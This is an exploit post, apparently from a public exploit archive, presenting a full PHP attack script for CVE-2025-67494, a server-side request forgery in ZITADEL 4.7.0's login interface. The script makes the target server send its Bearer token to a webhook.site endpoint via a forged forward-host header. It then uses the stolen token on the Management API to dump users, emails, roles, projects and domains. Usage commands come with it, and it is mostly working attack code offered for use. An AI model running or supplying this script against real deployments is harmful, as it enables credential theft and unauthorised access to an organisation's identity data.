=============================================================================================================================================
| # Title     : ZITADEL 4.7.0 SSRF Exploit - PHP Version                                                                                    |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
| # Vendor    : https://github.com/zitadel                                                                                                  |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/212661/ & 	CVE-2025-67494

[+] Summary    : This PHP script exploits CVE-2025-67494, a Server-Side Request Forgery (SSRF) vulnerability in ZITADEL's login interface that allows attackers to retrieve Bearer tokens and access the Management API.

[+] SSRFExploiter Class :

    Sends malicious SSRF requests to ZITADEL's /ui/v2/login endpoint

    Uses the x-zitadel-forward-host header to redirect requests to attacker-controlled servers
	
[+]  POC :

# Basic usage (auto-detects API URL)

php exploit.php -u http://target:29000

# Specify custom API URL

php exploit.php --ui-url http://target.com --api-url http://target.com:28080 --timeout 120


<?php

error_reporting(E_ALL);
ini_set('display_errors', 1);

class WebhookManager {
    private $token;
    private $url;
    
    public function create() {
        try {
            $ch = curl_init("https://webhook.site/token");
            curl_setopt_array($ch, [
                CURLOPT_POST => true,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_TIMEOUT => 10,
                CURLOPT_HTTPHEADER => ['Content-Type: application/json']
            ]);
            
            $response = curl_exec($ch);
            $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
            
            if (in_array($httpCode, [200, 201])) {
                $data = json_decode($response, true);
                $token = $data['uuid'] ?? null;
                if ($token) {
                    $this->token = $token;
                    $this->url = "https://webhook.site/{$token}";
                    return [$token, $this->url];
                }
            }
        } catch (Exception $e) {
            $this->logError("Error creating webhook: " . $e->getMessage());
        }
        return [null, null];
    }
    
    public function getRequests($timeout = 60) {
        if (!$this->token) {
            return null;
        }
        
        $url = "https://webhook.site/token/{$this->token}/requests";
        $startTime = time();
        $pollInterval = 5;
        $lastCheck = 0;
        
        while (time() - $startTime < $timeout) {
            $elapsed = time() - $startTime;
            
            try {
                $ch = curl_init($url);
                curl_setopt_array($ch, [
                    CURLOPT_RETURNTRANSFER => true,
                    CURLOPT_TIMEOUT => 10
                ]);
                
                $response = curl_exec($ch);
                $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
                curl_close($ch);
                
                if ($httpCode == 200) {
                    $data = json_decode($response, true);
                    $total = is_array($data) && isset($data['total']) ? (int)$data['total'] : 0;
                    
                    if ($total > $lastCheck) {
                        $this->logInfo("Webhook received {$total} request(s)...");
                        $lastCheck = $total;
                    }
                    
                    if (isset($data['data']) && is_array($data['data']) && count($data['data']) > 0) {
                        return $data['data'];
                    }
                }
                
                $remaining = $timeout - $elapsed;
                if ($remaining > 0 && $remaining % 10 == 0 && $elapsed > 5) {
                    $this->logInfo("Waiting for SSRF request... ({$remaining}s remaining)");
                }
            } catch (Exception $e) {
                $this->logError("Error polling webhook: " . $e->getMessage());
            }
            
            if ($elapsed < $timeout) {
                sleep($pollInterval);
            }
        }
        
        return null;
    }
    
    public function extractBearerToken($requestsData) {
        if (!$requestsData) {
            return null;
        }
        
        foreach ($requestsData as $req) {
            $headers = $req['headers'] ?? [];
            
            foreach ($headers as $key => $value) {
                if (strtolower($key) === 'authorization') {
                    $authHeader = is_array($value) ? ($value[0] ?? '') : $value;
                    if (strpos($authHeader, 'Bearer ') === 0) {
                        return substr($authHeader, 7);
                    }
                }
            }
        }
        
        return null;
    }
    
    public function getUrl() {
        return $this->url;
    }
    
    private function logInfo($message) {
        echo "[*] $message\n";
    }
    
    private function logError($message) {
        echo "[!] $message\n";
    }
}

class SSRFExploiter {
    private $targetUrl;
    
    public function __construct($targetUrl) {
        $this->targetUrl = $targetUrl;
    }
    
    public function exploit($oobHost) {
        $this->logInfo("Exploiting SSRF to {$this->targetUrl}");
        $this->logInfo("OOB host: {$oobHost}");
        
        $url = "{$this->targetUrl}/ui/v2/login";
        $headers = ["x-zitadel-forward-host: {$oobHost}"];
        
        try {
            $ch = curl_init($url);
            curl_setopt_array($ch, [
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_TIMEOUT => 30,
                CURLOPT_HTTPHEADER => $headers
            ]);
            
            $response = curl_exec($ch);
            $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
            
            $this->logSuccess("SSRF request sent (status: {$httpCode})");
            return true;
        } catch (Exception $e) {
            $this->logError("Error during SSRF exploitation: " . $e->getMessage());
            return false;
        }
    }
    
    private function logInfo($message) {
        echo "[*] $message\n";
    }
    
    private function logSuccess($message) {
        echo "[+] $message\n";
    }
    
    private function logError($message) {
        echo "[!] $message\n";
    }
}

class ZitadelAPI {
    private $baseUrl;
    private $token;
    private $searchQuery = '{"query": {"offset": "0", "limit": 10}}';
    
    public function __construct($baseUrl, $token) {
        $this->baseUrl = $baseUrl;
        $this->token = $token;
    }
    
    private function apiRequest($method, $endpoint, $errorMsg = "", $isPost = false) {
        $url = "{$this->baseUrl}/management/v1/{$endpoint}";
        $headers = ["Authorization: Bearer {$this->token}"];
        
        if ($isPost) {
            $headers[] = "Content-Type: application/json";
        }
        
        try {
            $ch = curl_init($url);
            curl_setopt_array($ch, [
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_TIMEOUT => 10,
                CURLOPT_HTTPHEADER => $headers
            ]);
            
            if (strtoupper($method) === 'POST') {
                curl_setopt($ch, CURLOPT_POST, true);
                curl_setopt($ch, CURLOPT_POSTFIELDS, $this->searchQuery);
            }
            
            $response = curl_exec($ch);
            $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
            
            if ($httpCode == 200) {
                return json_decode($response, true);
            }
        } catch (Exception $e) {
            if ($errorMsg) {
                $this->logError("{$errorMsg}: " . $e->getMessage());
            }
        }
        
        return null;
    }
    
    public function getIamInfo() {
        return $this->apiRequest('GET', 'iam', 'Error retrieving IAM info');
    }
    
    public function getOrgInfo() {
        return $this->apiRequest('GET', 'orgs/me', 'Error retrieving org info');
    }
    
    public function listUsers() {
        return $this->apiRequest('POST', 'users/_search', 'Error listing users', true);
    }
    
    public function listProjects() {
        return $this->apiRequest('POST', 'projects/_search', 'Error listing projects', true);
    }
    
    public function listOrgMembers() {
        return $this->apiRequest('POST', 'orgs/me/members/_search', 'Error listing members', true);
    }
    
    public function listOrgDomains() {
        return $this->apiRequest('POST', 'orgs/me/domains/_search', 'Error listing domains', true);
    }
    
    public function getUserMemberships($userId) {
        $endpoint = "users/{$userId}/memberships/_search";
        return $this->apiRequest('POST', $endpoint, 'Error retrieving memberships', true);
    }
    
    private function logError($message) {
        echo "[!] $message\n";
    }
}

class DataFormatter {
    public static function formatIamInfo($data) {
        if (!$data) return null;
        
        $gid = $data['globalOrgId'] ?? 'N/A';
        $pid = $data['iamProjectId'] ?? 'N/A';
        $did = $data['defaultOrgId'] ?? 'N/A';
        
        return "Global Org ID: {$gid}\nIAM Project ID: {$pid}\nDefault Org ID: {$did}";
    }
    
    public static function formatOrgInfo($data) {
        if (!$data || !isset($data['org'])) return null;
        
        $org = $data['org'];
        $oid = $org['id'] ?? 'N/A';
        $name = $org['name'] ?? 'N/A';
        $state = $org['state'] ?? 'N/A';
        $domain = $org['primaryDomain'] ?? 'N/A';
        
        return "ID: {$oid}\nName: {$name}\nState: {$state}\nPrimary Domain: {$domain}";
    }
    
    public static function formatUsers($data) {
        return self::formatList($data, function($user) {
            $userType = isset($user['machine']) ? "Machine" : "Human";
            $username = $user['userName'] ?? 'N/A';
            $state = $user['state'] ?? 'N/A';
            
            if (isset($user['human']['email']['email'])) {
                $email = $user['human']['email']['email'];
                return "{$userType}: {$username} ({$email}) - {$state}";
            }
            return "{$userType}: {$username} - {$state}";
        });
    }
    
    public static function formatProjects($data) {
        return self::formatList($data, function($project) {
            $name = $project['name'] ?? 'N/A';
            $id = $project['id'] ?? 'N/A';
            $state = $project['state'] ?? 'N/A';
            return "{$name} (ID: {$id}) - {$state}";
        });
    }
    
    public static function formatMembers($data) {
        return self::formatList($data, function($member) {
            $email = $member['email'] ?? 'N/A';
            $roles = implode(", ", $member['roles'] ?? []);
            return "{$email} - Roles: {$roles}";
        });
    }
    
    public static function formatDomains($data) {
        return self::formatList($data, function($domain) {
            $domainName = $domain['domainName'] ?? 'N/A';
            $verified = !empty($domain['isVerified']) ? "Verified" : "Not Verified";
            $primary = !empty($domain['isPrimary']) ? "Primary" : "";
            $result = "{$domainName} - {$verified}";
            if ($primary) $result .= " {$primary}";
            return trim($result);
        });
    }
    
    public static function formatMemberships($data) {
        return self::formatList($data, function($membership) {
            $orgName = $membership['displayName'] ?? 'N/A';
            $roles = implode(", ", $membership['roles'] ?? []);
            $iam = !empty($membership['iam']) ? "IAM" : "Org";
            return "{$iam}: {$orgName} - Roles: {$roles}";
        });
    }
    
    private static function formatList($data, $formatter) {
        if (!$data || !isset($data['result']) || empty($data['result'])) {
            return null;
        }
        
        $items = array_map($formatter, $data['result']);
        $items = array_filter($items);
        
        return !empty($items) ? implode("\n", $items) : null;
    }
}

function printInfo($title, $data, $formatter = null) {
    if (!$data) return;
    
    echo "\n" . str_repeat('=', 60) . "\n";
    echo "{$title}\n";
    echo str_repeat('=', 60) . "\n";
    
    if ($formatter) {
        $formatted = call_user_func($formatter, $data);
        if ($formatted) {
            echo "{$formatted}\n";
        }
    } else {
        echo json_encode($data, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE) . "\n";
    }
}

function parseArguments() {
    global $argv;
    $options = [
        'ui-url:' => 'u:',
        'api-url:' => 'a:',
        'timeout:' => '',
        'help' => 'h'
    ];
    
    $parsed = getopt(implode('', array_values($options)), array_keys($options));
    
    $args = [];
    $args['ui-url'] = $parsed['u'] ?? $parsed['ui-url'] ?? null;
    $args['api-url'] = $parsed['a'] ?? $parsed['api-url'] ?? null;
    $args['timeout'] = $parsed['timeout'] ?? 60;
    $args['help'] = isset($parsed['h']) || isset($parsed['help']);
    
    return $args;
}

function showHelp() {
    echo "By indoushka - Exploit for CVE-2025-67494 - ZITADEL SSRF with automatic Bearer token retrieval\n\n";
    echo "Usage: php " . basename(__FILE__) . " [options]\n\n";
    echo "Options:\n";
    echo "  -u, --ui-url    ZITADEL Login UI URL (e.g., http://localhost:29000)\n";
    echo "  -a, --api-url   ZITADEL Management API URL (e.g., http://localhost:28080).\n";
    echo "                  If not provided, will be auto-detected from UI URL\n";
    echo "  --timeout       Timeout in seconds (default: 60)\n";
    echo "  -h, --help      Show this help message\n";
}

function main() {
    $args = parseArguments();
    
    if ($args['help'] || !$args['ui-url']) {
        showHelp();
        exit($args['help'] ? 0 : 1);
    }
    
    // إضافة البروتوكول إذا لم يكن موجودًا
    $uiUrl = $args['ui-url'];
    if (!preg_match('#^https?://#i', $uiUrl)) {
        $uiUrl = "http://" . $uiUrl;
        echo "[*] Added protocol to UI URL: {$uiUrl}\n";
    }
    
    if ($args['api-url']) {
        $baseUrl = $args['api-url'];
        if (!preg_match('#^https?://#i', $baseUrl)) {
            $baseUrl = "http://" . $baseUrl;
        }
    } else {
        $parsed = parse_url($uiUrl);
        
        // قيم افتراضية في حالة عدم وجود بيانات
        $scheme = $parsed['scheme'] ?? 'http';
        $host = $parsed['host'] ?? '127.0.0.1';
        $port = $parsed['port'] ?? null;
        
        // حاول تحديد المنفذ الصحيح بناءً على المنفذ المدخل
        if ($port == 28080) {
            // إذا كان المنفذ 28080 (API)، فاستخدم 29000 للـ UI
            $uiUrl = "{$scheme}://{$host}:29000";
            $baseUrl = "{$scheme}://{$host}:28080";
        } elseif ($port == 29000) {
            // إذا كان المنفذ 29000 (UI)، فاستخدم 28080 للـ API
            $uiUrl = "{$scheme}://{$host}:29000";
            $baseUrl = "{$scheme}://{$host}:28080";
        } else {
            // إذا كان منفذ آخر، افترض أنه UI واستخدم المنفذ الافتراضي للـ API
            $baseUrl = "{$scheme}://{$host}:28080";
        }
        
        echo "[*] Auto-detected: UI on {$uiUrl}, API on {$baseUrl}\n";
    }
    
    echo "[*] Starting CVE-2025-67494 exploit\n";
    echo "[*] UI URL: {$uiUrl}, API URL: {$baseUrl}\n";
    
    // ... باقي الكود
    
    $webhook = new WebhookManager();
    echo "[*] Creating webhook.site URL via API...\n";
    list($webhookToken, $webhookUrl) = $webhook->create();
    
    if (!$webhookToken) {
        echo "[!] Failed to create webhook via API\n";
        exit(1);
    }
    
    $oobHost = "{$webhookToken}.webhook.site";
    echo "[+] Webhook created: {$webhookUrl}\n";
    echo "[*] OOB host: {$oobHost}\n";
    
    $exploiter = new SSRFExploiter($uiUrl);
    echo "[*] Sending SSRF request...\n";
    $exploiter->exploit($oobHost);
    
    $timeout = (int)$args['timeout'];
    echo "[*] Polling webhook for Bearer token (timeout: {$timeout}s)...\n";
    $requestsData = $webhook->getRequests($timeout);
    
    if (!$requestsData) {
        echo "[!] Timeout: No requests received within {$timeout} seconds\n";
        exit(1);
    }
    
    $token = $webhook->extractBearerToken($requestsData);
    if (!$token) {
        echo "[!] Bearer token not found in webhook requests\n";
        exit(1);
    }
    
    echo "[+] Bearer token successfully retrieved!\n";
    echo "[*] Token: " . substr($token, 0, 50) . "...\n";
    echo "[*] Retrieving information via Management API...\n";
    
    $api = new ZitadelAPI($baseUrl, $token);
    
    $iamInfo = $api->getIamInfo();
    printInfo("IAM Information", $iamInfo, ['DataFormatter', 'formatIamInfo']);
    
    $orgInfo = $api->getOrgInfo();
    printInfo("Organization Information", $orgInfo, ['DataFormatter', 'formatOrgInfo']);
    
    $users = $api->listUsers();
    printInfo("Users", $users, ['DataFormatter', 'formatUsers']);
    
    if ($users && isset($users['result']) && count($users['result']) > 0) {
        $firstUserId = $users['result'][0]['id'];
        $memberships = $api->getUserMemberships($firstUserId);
        printInfo("User Memberships (User ID: {$firstUserId})", $memberships, ['DataFormatter', 'formatMemberships']);
    }
    
    $projects = $api->listProjects();
    printInfo("Projects", $projects, ['DataFormatter', 'formatProjects']);
    
    $members = $api->listOrgMembers();
    printInfo("Organization Members", $members, ['DataFormatter', 'formatMembers']);
    
    $domains = $api->listOrgDomains();
    printInfo("Organization Domains", $domains, ['DataFormatter', 'formatDomains']);
    
    echo "[+] Exploitation completed successfully!\n";
}

if (PHP_SAPI === 'cli') {
    main();
}


Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================